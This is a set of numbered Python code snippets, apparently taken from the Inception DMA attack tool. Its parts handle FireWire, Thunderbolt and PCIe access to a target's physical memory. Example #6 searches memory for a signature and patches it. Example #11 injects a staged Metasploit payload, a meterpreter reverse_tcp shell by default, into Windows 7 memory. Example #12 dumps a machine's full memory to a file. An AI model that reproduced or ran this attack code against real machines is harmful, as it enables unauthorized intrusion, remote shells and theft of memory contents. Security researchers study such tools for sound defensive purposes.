Example #1
0
def initialize(opts, module):
    '''
    Convenience function to initialize the interface.

    Mandatory arguments:
    - opts: the options that the program was initiated with
    '''
    # Check if a file name has been set
    if not opts.filename:
        raise InceptionException('You must specify a file name to utilize '
                                 'this interface.')

    # Check if the file exists
    if not os.path.isfile(opts.filename):
        raise InceptionException('No such file: \'{0}\''.format(opts.filename))

    # Warn user that using the interface may write to file
    try:  # TODO: Fix this more elegantly?
        dry_run = opts.dry_run
    except AttributeError:
        dry_run = False
    if module.IS_INTRUSIVE and not dry_run:
        answer = term.poll('Will potentially write to file. OK? [y/N]',
                           default='n')
        if answer in ['n']:
            dry_run = True

    # Lower DMA shield, and set memsize
    device = MemoryInterface(opts.filename, cfg.PAGESIZE, dry_run)
    memsize = os.path.getsize(opts.filename)
    return device, memsize
Example #2
0
def calculate(address, size):
    '''Calculate the start and end memory addresses of the dump'''
    try:
        # Fix address
        if isinstance(address, int):
            pass
        elif address.startswith('0x'):
            address = int(address, 0) & 0xfffff000  # Address
        elif address.startswith('p'):
            address = int(address[1:]) * cfg.PAGESIZE  # Page number
        else:
            address = int(address)  # Integer

        # Fix size
        try:
            size = util.parse_unit(size)
        except ValueError as e:
            raise InceptionException('Could not parse "{0}" to a valid data '
                                     'size: {1}'.format(size, e))
        if size < cfg.PAGESIZE:
            term.warn('Minimum dump size is a page, {0} KiB'.format(
                cfg.PAGESIZE // cfg.KiB))
        end = address + size
        return address, end
    except Exception as e:
        raise InceptionException(
            'Could not calculate start and end memory '
            'address', e)
Example #3
0
    def __init__(self, delay):
        '''
        Constructor
        Initializes the bus and sets device, OUI variables
        '''
        # Warn OS X users
        if cfg.os == cfg.OSX:
            term.warn('Attacking from OS X may cause host and/or target '
                      'system crashes, and is not recommended')
        self.delay = delay
        self._bus = Bus()
        try:
            self._bus.enable_sbp2()
        except IOError as e:
            if os.geteuid() == 0:  # Check if we are running as root
                answer = term.poll(
                    'FireWire modules are not loaded. Try '
                    'loading them? [y/n]:',
                    default='y')
                if answer in ['y', '']:
                    status_modprobe = call('modprobe firewire-ohci',
                                           shell=True)
                    status_rescan = call('echo 1 > /sys/bus/pci/rescan',
                                         shell=True)
                    if status_modprobe == 0 and status_rescan == 0:
                        try:
                            self._bus.enable_sbp2()
                        except IOError as e:
                            time.sleep(2)  # Give some more time
                            try:
                                self._bus.enable_sbp2()
                            except IOError as e:
                                raise InceptionException(
                                    'Unable to detect any local FireWire '
                                    'ports.', e)
                        term.info('FireWire modules loaded successfully')
                    else:
                        raise InceptionException(
                            'Could not load FireWire '
                            'modules, try running '
                            'inception as root', e)
                else:
                    raise InceptionException('FireWire modules not loaded per '
                                             'user\'s request')
            else:
                raise InceptionException(
                    'FireWire modules are not loaded and '
                    'we have insufficient privileges to '
                    'load them. Try running inception as '
                    'root', e)

        # Enable SBP-2 support to ensure we get DMA
        self._devices = self._bus.devices()
        self._oui = self.init_OUI()
        self._vendors = []
        self._max_request_size = cfg.PAGESIZE
Example #4
0
def initialize(opts, module):
    '''
    Convenience function to initialize the interface.

    Mandatory arguments:
    - opts: the options that the program was initiated with
    '''
    try:
        fw = FireWire(opts.delay)
    except IOError:
        raise InceptionException('Could not initialize FireWire. Are FW '
                                 'modules loaded into the kernel?')
    starttime = time.time()
    device_index = fw.select_device()
    elapsed = int(time.time() - starttime)

    try:  # TODO: Fix this more elegantly
        dry_run = opts.dry_run
    except AttributeError:
        dry_run = False

    # Lower DMA shield, and set memsize
    device = FireWireDevice(fw.getdevice(device_index, elapsed), dry_run)
    memsize = cfg.memsize
    return device, memsize
Example #5
0
 def businfo(self):
     '''
     Prints all available information of the devices connected to the FW
     bus, looks up missing vendor names & populates the internal vendor
     list
     '''
     if not self._devices:
         raise InceptionException('Could not detect any FireWire devices '
                                  'connected to this system')
     term.info('FireWire devices on the bus (names may appear blank):')
     term.separator()
     for n, device in enumerate(self._devices, 1):
         vid = device.vendor_id
         # In the current version of libforensic1394, the
         # device.vendor_name.decode() method cannot be trusted (it often
         # returns erroneous data. We'll rely on OUI lookups instead
         # vendorname = device.vendor_name.decode(cfg.encoding)
         vendorname = self.resolve_oui(vid)
         self._vendors.append(vendorname)
         pid = device.product_id
         productname = device.product_name.decode(cfg.encoding)
         term.info('Vendor (ID): {0} ({1:#x}) | Product (ID): {2} ({3:#x})'.
                   format(vendorname, vid, productname, pid),
                   sign=n)
     term.separator()
Example #6
0
def run(opts, memspace):
    '''
    Main attack logic
    '''
    if not opts.target_number:
        list_targets()

    # Select target, print selection
    target = select_target(targets, selected=opts.target_number)
    term.info('Selected target: ' + target.name)

    #  Search for the target
    address, signature, offset = memspace.find(target, verbose=opts.verbose)

    # Signature found, let's patch
    page = memspace.page_no(address)
    term.info('Signature found at {0:#x} in page no. {1}'.format(
        address, page))
    if not opts.dry_run:
        try:
            if opts.payload_filename:
                try:
                    payload = open(opts.payload_filename, 'rb').read()
                except Exception as e:
                    raise InceptionException(e)
                backup = memspace.write(address, payload)
            else:
                backup = memspace.patch(address, signature)
            term.info('Patch verified; successful')
        except InceptionException:
            raise

        if opts.revert:
            term.poll('Press [enter] to revert the patch:')
            memspace.write(address, backup)

            if backup == memspace.read(address, signature.length):
                term.info('Reverted patch verified; successful')
            else:
                raise InceptionException('Reverted patch could not be '
                                         'verified')

    return address, page
Example #7
0
    def initialize(opts, module):
        if not opts.filename:
            raise InceptionException('You must specify a network interface to use'
                                     'this interface.')

        try:
            dry_run = opts.dry_run
        except AttributeError:
            dry_run = False

        device = ThunderGateInterface(opts.filename)
        memsize = 8 * 1024 * 1024 * 1024
        return device, memsize
Example #8
0
def unload_fw_ip():
    '''
    Unloads IP over FireWire modules if present on OS X
    '''
    unload = term.poll('Unload the IOFireWireIP modules that may cause '
                       'kernel panics? [y/n]:',
                       default='y')
    if unload in ['y', '']:
        command = 'kextunload /System/Library/Extensions/IOFireWireIP.kext'
        status = call(command, shell=True)
        if status == 0:
            term.info('IOFireWireIP.kext unloaded')
            term.info('To reload: sudo kextload /System/Library/Extensions/'
                      'IOFireWireIP.kext')
        else:
            raise InceptionException('Could not unload IOFireWireIP.kext')
Example #9
0
    def __init__(self):
        
        # find our device
        try:
            dev = usb.core.find(idVendor=0x0525, idProduct=0x3380)
        except ValueError:
            raise InceptionException('SLOTSCREAMER device not found')
        dev.set_configuration()
        cfg = dev.get_active_configuration()
        intf = cfg[0, 0]

        self.pciin = usb.util.find_descriptor(intf, custom_match=lambda e: e.bEndpointAddress==0x8e)
        assert self.pciin is not None, 'SLOTSCREAMER pciin endpoint not found'
        term.info('SLOTSCREAMER PCIIN found: '+str(self.pciin)+'\n')
        
        self.pciout = usb.util.find_descriptor(intf, custom_match=lambda e: e.bEndpointAddress==0xe)
        assert self.pciout is not None, 'pciout endpoint not found'
        term.info('SLOTSCREAMER PCIOUT found: '+str(self.pciout)+'\n')
        self.cache=[]
Example #10
0
    def patch(self, address, signature):
        '''
        Writes to the device at address, using the patches in the signature
        chunks
        '''
        backup = self.interface.read(address, signature.length)
        chunks = signature.chunks
        for c in chunks:
            if not c.patch:  # If no patch is set, skip this chunk
                continue

            patch = c.patch
            coffset = c.chunkoffset
            poffset = c.patchoffset
            if not poffset:
                poffset = 0
            realaddress = address + coffset + poffset

            self.interface.write(realaddress, patch)
            read = self.interface.read(realaddress, len(patch))
            if read != patch:
                raise InceptionException('Unable to verify patch')

        return backup
Example #11
0
def run(opts, memspace):
    if not opts.msfpw:
        raise InceptionException('You must specify a password (--msfpw)')

    # Warning
    term.warn('This module currently only work as a proof-of-concept against '
              'Windows 7 SP1 x86. No other OSes, versions or architectures '
              'are supported, nor is there any guarantee that they will be '
              'supported in the future. If you want to change this, send me a '
              'wad of cash in unmarked dollar bills or a pull request on '
              'github.')

    if opts.payload_filename:
        try:
            payload = open(opts.payload_filename, 'rb').read()
        except Exception as e:
            raise InceptionException(e)
    else:
        # Connect to MSF RPD daemon and have it generate our shellcode
        try:
            client = MsfRpcClient(opts.msfpw)
        except MsfRpcError as e:
            raise InceptionException(
                'Could not connect to Metasploit: {0}'.format(e))
        except Exception as e:
            raise InceptionException(
                'Could not connect to Metasploit, '
                'is the `msfrpcd` daemon running? ({0})'.format(e))

        name = term.poll('What MSF payload do you want to use?',
                         default='windows/meterpreter/reverse_tcp')
        try:
            module = PayloadModule(client, name)
            set_opts(module,
                     ','.join(filter(None, (opts.msfopts, 'EXITFUNC=thread'))))
            payload = module.execute(Encoder='generic/none').get('payload')
        except (MsfRpcError, TypeError) as e:
            raise InceptionException('Could not generate Metasploit payload: '
                                     '{0}'.format(e))

        needed = [x for x in module.required if x not in module.advanced]
        term.info('Selected options:')
        for o in needed:
            term.info('{0}: {1}'.format(o, module[o]))

    # TODO: Allow users to set required options

    # --- STAGE 1 ---
    term.info('Stage 1: Searching for injection point')
    address, signature, offset = memspace.find(stage1, verbose=opts.verbose)

    # Signature found, let's patch
    term.found_at(address, memspace.page_no(address))
    term.info('Patching at {0:#x}'.format(address))
    backup = memspace.patch(address, signature.chunks)

    # TODO: Figure out what os & architecture we're attacking and select stage
    # For now, just select x86

    # Wait to ensure initial stage execution
    term.wait('Waiting to ensure stage 1 execution', 5)
    if isinstance(memspace.interface, MemoryInterface):
        term.poll('Press [enter] to continue')

    # --- STAGE 2 ---
    # Concatenate shellcode and payload
    payload = shellcode['create_thread'] + shellcode['reg_add'] + payload
    # TODO: Modify payload exitfunk that is used if the payload fails -
    # this is needed for stable kernel exploitation
    # Replace EXITFUNC with THREAD (it's hardcoded as PROCESS)
    # This helps ensure that the process doesn't crash if the exploit fails

    # Write back original, backed up page
    term.info('Restoring memory at initial injection point')
    memspace.write(address, backup)
    # Search for the newly allocated page with our signature
    term.info('Stage 2: Searching for page allocated in stage 1')
    address, signature, offset = memspace.rawfind(
        0,  # Offset
        0xffe0000000000000,  # Sig
        verbose=opts.verbose)
    # Signature found, let's patch
    term.found_at(address, memspace.page_no(address))
    term.info('Patching at {0:#x}'.format(address))
    memspace.write(address, payload)

    term.info('Patch verified; successful')
Example #12
0
def run(opts, memspace):
    # Ensure that the filename is accessible outside this module
    global filename

    # Set start and end parameters based on user input. If no input is given,
    # start at zero (i.e., the beginning of main memory)
    end = memspace.memsize
    if opts.address and opts.size:
        start, end = calculate(opts.address, opts.size)
    elif opts.address:
        raise InceptionException('Missing parameter "size"')
    elif opts.size:
        raise InceptionException('Missing parameter "address"')
    else:
        start = 0  # May be overridden later

    # Make sure that the right mode is set
    # cfg.memdump = True #TODO: do we really need this?

    # Ensure correct denomination
    size = end - start
    if size % cfg.GiB == 0:
        s = '{0} GiB'.format(size // cfg.GiB)
    elif size % cfg.MiB == 0:
        s = '{0} MiB'.format(size // cfg.MiB)
    else:
        s = '{0} KiB'.format(size // cfg.KiB)

    if opts.prefix:
        prefix = opts.prefix
    else:
        prefix = filename_prefix

    # Open file for writing
    timestr = time.strftime("%Y%m%d-%H%M%S")
    filename = '{0}_{1}-{2}_{3}.{4}'.format(prefix, hex(start), hex(end),
                                            timestr, filename_ext)
    term.info('Dumping from {0:#x} to {1:#x}, a total of {2}:'.format(
        start, end, s))
    file = open(filename, 'wb')

    # Progress bar
    prog = term.ProgressBar(min_value=start,
                            max_value=end,
                            total_width=term.wrapper.width)

    if size < cfg.max_request_size:
        requestsize = size
    else:
        requestsize = cfg.max_request_size
    try:
        for i in range(start, end, requestsize):
            # Edge case, make sure that we don't read beyond the end
            if i + requestsize > end:
                requestsize = end - i
            data = memspace.read(i, requestsize)
            file.write(data)
            # Print status
            prog.update_amount(i + requestsize, data)
            prog.draw()
        file.close()
        print()  # Filler
        term.info('Dumped memory to file {0}'.format(filename))
        # device.close()
    except KeyboardInterrupt:
        file.close()
        print()  # Filler
        # device.close()
        term.info('Partial memory dumped to file {0}'.format(filename))
        raise KeyboardInterrupt
Example #13
0
    def find(self, target, findtag=False, findall=False, verbose=False):
        '''
        Searches through memory and returns a list of matches
        at the point in memory where the signature was found.

        Mandatory arguments:
        - target: The Target object that we are searching for

        Optional arguments:
        - findtag: True if searching for a tagged (preferred) signature
        - findall: True if searching for all signatures

        Return:
        - A list of matches containting the address, signature, and offset
        '''
        if findtag and findall:
            raise InceptionException('Cannot search for a tagged signature '
                                     'and all signatures at the same time')

        pageaddress = cfg.startaddress
        signatures = target.signatures

        # Progress bar
        prog = term.ProgressBar(max_value=self.memsize,
                                total_width=term.wrapper.width,
                                print_data=verbose)
        prog.draw()
        # print(signatures)
        try:
            # Build a batch of read requests of the form: [(addr1, len1), ...]
            # and a corresponding match vector: [signature1, ...]
            j = 0
            count = 0
            cand = b'\x00'
            r = []  # Read vector
            p = []  # Match vector
            z = []  # Vector to store matches (result vector)
            while pageaddress < self.memsize:

                # Iterate over signatures
                for s in signatures:

                    # Iterate over offsets
                    for o in s.offsets:
                        address = pageaddress + o + cfg.PAGESIZE * j
                        r.append((address, s.length))
                        p.append(s)
                        count += 1

                        # If we have built a full vector, read from memory and
                        # compare to the corresponding signatures
                        if count == cfg.vectorsize:
                            # Read data from device
                            m = 0
                            for caddr, cand in self.interface.readv(r):
                                if self.match(cand, p[m].chunks):
                                    result = (caddr, p[m], o)
                                    # TODO: Log this in verbose mode?
                                    z.append(result)
                                    # If we have found the tagged signature,
                                    # or if we're only searching for the first
                                    # hit, return the vector or tuple,
                                    # respectively
                                    if findtag and p[m].tag:
                                        print()  # Filler
                                        return z
                                    elif not (findall or findtag):
                                        print()  # Filler
                                        return result
                                # Increment match vector counter
                                m += 1

                            # Jump to next pages (we're finished with these)
                            mask = ~(cfg.PAGESIZE - 0x01)
                            pageaddress = address & mask

                            # If we are at the last elements in the lists,
                            # go to the next page
                            if s == signatures[-1] and o == s.offsets[-1]:
                                pageaddress = pageaddress + cfg.PAGESIZE

                            # Zero out counters and vectors
                            j = 0
                            count = 0
                            r = []
                            p = []

                            # Print status
                            prog.update_amount(pageaddress, cand)
                            prog.draw()

                j += 1  # Increase read request count

        # Catch eventual exceptions, print a newline and pass them on
        except:
            print()  # Next line
            raise

        # If we end up here, return all found sigs, or raise an exception if
        # we're searching for just one (getting here means we didn't find it)
        print()  # Next line
        if (findtag or findall) and z:
            return z
        else:
            raise InceptionException('Could not locate signature(s)')
Example #14
0
def run(opts, memory):
    if cfg.os == cfg.OSX:
        firewire.unload_fw_ip()
    else:
        raise InceptionException('Host system is not OS X, aborting')
Example #15
0
# Error handling for cases where libforensic1394 is not installed in /usr/lib
try:
    from forensic1394.bus import Bus
except OSError:
    host_os = util.detectos()
    try:
        path = os.environ['LD_LIBRARY_PATH']
    except KeyError:
        path = ''
    # If the host OS is Linux, we may need to set LD_LIBRARY_PATH to make
    # python find the libs
    if host_os == cfg.LINUX and '/usr/local/lib' not in path:
        os.putenv('LD_LIBRARY_PATH', "/usr/local/lib")
        util.restart()
    else:
        raise InceptionException('Could not load libforensic1394, please make '
                                 'sure that libforensic1394 is in your PATH')

# List of FireWire OUIs
OUI = {}


def initialize(opts, module):
    '''
    Convenience function to initialize the interface.

    Mandatory arguments:
    - opts: the options that the program was initiated with
    '''
    try:
        fw = FireWire(opts.delay)
    except IOError: